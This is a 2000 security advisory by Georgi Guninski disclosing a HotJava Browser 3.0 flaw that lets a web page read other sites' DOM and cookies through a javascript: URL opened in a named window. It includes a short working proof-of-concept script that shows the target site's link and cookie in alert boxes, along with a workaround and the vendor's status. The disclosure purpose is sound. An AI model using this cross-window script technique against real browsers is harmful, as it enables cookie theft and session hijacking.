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Subject: HotJava Browser 3.0 JavaScript security vulnerability
From: Georgi Guninski (guninskiGUNINSKI.COM)
Date: Wed Oct 25 2000 - 11:44:38 CDT


Georgi Guninski security advisory #25, 2000

HotJava Browser 3.0 JavaScript security vulnerability

Systems affected:
HotJava Browser 3.0, Windows98 - probably other platforms since the
browser is written in Java.

Risk: High
Date: 25 October 2000

Legal Notice:
This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute
it unmodified. You may not modify it and distribute it or distribute
parts of it without the author's written permission.

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or indirect use of the
information or functionality provided by this advisory or program.
Georgi Guninski, bears no responsibility for content or misuse of this
advisory or program or any derivatives thereof.

Description:

There is a security vulnerability in HotJava Browser 3.0 which allows
accessing the DOM of arbitrary URLs after viewing a web page.
This allows stealing of cookies.

Details:
The problem is opening an javascript: URL in a named window, which
allows
accessing the DOM of the document in the named window.

The code is:
---------hotjava-1.html------------------------------------------
<SCRIPT>
window.open("http://www.sun.com","g");
setTimeout("window.open('javascript:alert(\"The first link is:
\"+document.links[0].href);alert(\"The cookie is:
\"+document.cookie)','g')",10000);
</SCRIPT>
---------------------------------------------------------------------

Workaround:
Disable JavaScript

Demonstration is available at:
http://www.guninski.com/hotjava-1.html

Vendor status:
Sun was notified by email at least 4 days ago but did not hear back from
them.

Regards,
Georgi Guninski
http://www.guninski.com